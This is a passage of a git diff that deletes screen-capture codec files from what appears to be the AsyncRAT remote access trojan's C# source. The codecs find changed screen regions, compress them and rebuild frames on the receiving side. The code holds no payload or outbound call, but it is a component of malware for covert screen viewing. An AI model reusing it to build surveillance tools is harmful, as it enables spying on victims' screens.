FoundBlock = false; - decimal FoundHash = 0; - int FrameIndex = 0; - for (int i = 0; i < Frames.Count; i++) - { - decimal hash = Frames[i].GetHashBlock(x, y); - if (hash == FinalHash) - { - FrameIndex = i; - FoundBlock = true; - FoundHash = hash; - break; - } - } - - frame.AddHashBlock(x, y, FinalHash); - - if (!FoundBlock) - { - int index = ChangedBlocks.Count - 1; - Rectangle cBlock = new Rectangle(x, y, width, height); - - if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X) - { - Rectangle rect = ChangedBlocks[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - ChangedBlocks[index] = cBlock; - } - /*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y) - { - Rectangle rect = ChangedBlocks[index]; - int newHeight = cBlock.Height + rect.Height; - cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight); - ChangedBlocks[index] = cBlock; - }*/ - else - { - ChangedBlocks.Add(cBlock); - } - RawSizeUsed += BlockStride * height; - } - x += width; - } - y += height; - } - - //write all the blocks - for (int i = 0; i < ChangedBlocks.Count; i++) - { - Rectangle rect = ChangedBlocks[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - ChangedBlocks.Clear(); - - Frames.Add(frame); - if (Frames.Count > MAX_FRAMES) - Frames.RemoveAt(0); - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (DecodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - DecodedFrames.Add(DecodedBitmap); - return DecodedBitmap; - } - - Rectangle rect; - Graphics g = Graphics.FromImage(DecodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return DecodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return new Bitmap(10, 10); - } - - private class HashedBlock - { - public int X { get; private set; } - public int Y { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - public int FrameIndex { get; private set; } - public HashedBlock(int x, int y, int width, int height, int FrameIndex) - { - this.X = x; - this.Y = y; - this.Width = width; - this.Height = height; - this.FrameIndex = FrameIndex; - } - - public override string ToString() - { - return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex; - } - } - - private class Frame - { - public decimal[,] HashBlocks { get; private set; } - - public Frame(int ImageWidth, int ImageHeight) - { - this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2]; - } - - public void AddHashBlock(int x, int y, decimal Hash) - { - x = x / UnsafeCachedStreamCodec.CheckBlock.Width; - y = y / UnsafeCachedStreamCodec.CheckBlock.Height; - this.HashBlocks[x, y] = Hash; - } - public decimal GetHashBlock(int x, int y) - { - x = x / UnsafeCachedStreamCodec.CheckBlock.Width; - y = y / UnsafeCachedStreamCodec.CheckBlock.Height; - return this.HashBlocks[x, y]; - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs deleted file mode 100644 index b4b0b8c..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs +++ /dev/null @@ -1,365 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeMiniCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - - private Size CheckBlock { get { return new Size(50, 50); } } - - public UnsafeMiniCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (this.ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support - switch (Format) - { - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format + " is not supported."); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - //first frame - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight) - throw new Exception("Scan Area Width/Height cannot be greater then the encoded image"); - - - List Blocks = new List(); //all the changes - fixed (byte* encBuffer = EncodeBuffer) - { - //1. Check for the changes in height - for (int y = ScanArea.Y; y < ScanArea.Height; y++) - { - Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width); - if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) - { - int index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - } - - //2. Capture all the changes using the CheckBlock - List finalUpdates = new List(); - for (int i = 0; i < Blocks.Count; i++) - { - Rectangle scanBlock = Blocks[i]; - - //go through the Blocks - for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height) - { - for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width) - { - int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x; - int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y; - Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - //scan the block from Top To Bottom and check for changes - bool FoundChanges = false; - for (int blockY = y; blockY < y + blockHeight; blockY++) - { - int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth); - if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) - { - FoundChanges = true; - break; - } - } - - if (FoundChanges) - { - int index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - } - } - } - - //maybe a too hard algorithm but oh well - SortedList> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows(); - List FinalTemp = new List(); - - for (int i = 0; i < Array.Values.Count; i++) - { - FinalTemp.AddRange(Array.Values[i].Values); - } - - //fixup the height - for (int i = 0; i < FinalTemp.Count; ) - { - if (FinalTemp.Count == 1) - { - FinalTemp.Add(FinalTemp[i]); - break; - } - - if (i + 1 < FinalTemp.Count) - { - Rectangle curRect = FinalTemp[i]; - Rectangle nextRect = FinalTemp[i + 1]; - if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width) - { - FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height); - FinalTemp.RemoveAt(i + 1); - } - else - { - i++; - } - } - else - { - break; - } - } - - //copy changes to the EncodeBuffer and Process the Output - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < FinalTemp.Count; i++) - { - Rectangle rect = FinalTemp[i]; - int blockStride = PixelSize * rect.Width; - - //copy changes to EncodeBuffer - for (int y = rect.Y; y < rect.Y + rect.Height; y++) - { - int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width); - NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes - } - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - } - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs deleted file mode 100644 index e4df368..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs +++ /dev/null @@ -1,473 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeOptimizedCodec : IUnsafeCodec - { - private class PopulairPoint - { - public Rectangle Rect; - public int Score; - public Stopwatch LastUpdate; - - public PopulairPoint(Rectangle rect) - { - this.Rect = rect; - this.Score = 0; - this.LastUpdate = Stopwatch.StartNew(); - } - } - - public override ulong CachedSize - { - get; - internal set; - } - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; private set; } - private object ImageProcessLock = new object(); - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private List populairPoints; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - private Stopwatch ScreenRefreshSW = Stopwatch.StartNew(); - - //options - /// If a part in the image is been changing for the last x milliseconds it will be seen as a video - public uint AliveTimeForBeingVideo = 5000; - /// This will check if the video went away or stopped playing so it will refresh the other parts in the image - public uint ScreenRefreshTimer = 2000; - /// The size for being a video, if bigger or equal to the VideoScreenSize it must be a video - public Size VideoScreenSize = new Size(100, 100); - - /// - /// Initialize a new object of UnsafeOptimizedCodec - /// - /// The quality to use between 0-100 - public UnsafeOptimizedCodec(int ImageQuality = 100) - : base(ImageQuality) - { - this.populairPoints = new List(); - this.CheckBlock = new Size(15, 1); - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer) - { - for (int i = 0; i < populairPoints.Count; i++) - { - if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5) - { - populairPoints.RemoveAt(i); - } - } - ScreenRefreshSW = Stopwatch.StartNew(); - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - - List Blocks = new List(); - int index = 0; - - Size s = new Size(ScanArea.Width, CheckBlock.Height); - Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); - - int lasty = ScanArea.Height - lastSize.Height; - int lastx = ScanArea.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - List finalUpdates = new List(); - - PopulairPoint[] points = GetPossibleVideos(); - if (points.Length > 0) - { - ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y); - } - - s = new Size(ScanArea.Width, s.Height); - fixed (byte* encBuffer = EncodeBuffer) - { - if (points.Length == 0) //only scan if there is no video - { - for (int y = ScanArea.Y; y != ScanArea.Height; ) - { - if (y == lasty) - s = new Size(ScanArea.Width, lastSize.Height); - cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); - - int offset = (y * Stride) + (ScanArea.X * PixelSize); - if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) - { - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = ScanArea.X; - while (x != ScanArea.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - bool FoundChanges = false; - int blockStride = PixelSize * cBlock.Width; - - for (int j = 0; j < cBlock.Height; j++) - { - int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X); - if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0) - FoundChanges = true; - NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - } - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (FoundChanges) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - } - else - { - finalUpdates.Add(points[0].Rect); - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) - { - PopulairPoint point = null; - if (GetPopulairPoint(rect, ref point)) - { - point.Score++; - point.LastUpdate = Stopwatch.StartNew(); - //Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); - } - else - { - populairPoints.Add(new PopulairPoint(rect)); - } - } - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - /*for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - int blockStride = PixelSize * rect.Width; - buffer = new byte[blockStride * rect.Height]; - - fixed (byte* ptr = buffer) - { - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - - if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height) - { - PopulairPoint point = null; - if (GetPopulairPoint(rect, ref point)) - { - point.Score++; - point.LastUpdate = Stopwatch.StartNew(); - Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height); - } - else - { - populairPoints.Add(new PopulairPoint(rect)); - } - } - } - } - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 5); - }*/ - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - ms.Close(); - ms.Dispose(); - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed(byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint) - { - for (int i = 0; i < populairPoints.Count; i++) - { - PopulairPoint point = populairPoints[i]; - if (point.Rect.Width == rect.Width && - point.Rect.Height == rect.Height && - point.Rect.X == rect.X && - point.Rect.Y == rect.Y) - { - PopuPoint = populairPoints[i]; - return true; - } - } - return false; - } - - private PopulairPoint[] GetPossibleVideos() - { - List points = new List(); - for (int i = 0; i < populairPoints.Count; i++) - { - if (populairPoints[i].Score > 30) - { - points.Add(populairPoints[i]); - } - } - return points.ToArray(); - } - } -} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs deleted file mode 100644 index 0719bd9..0000000 --- 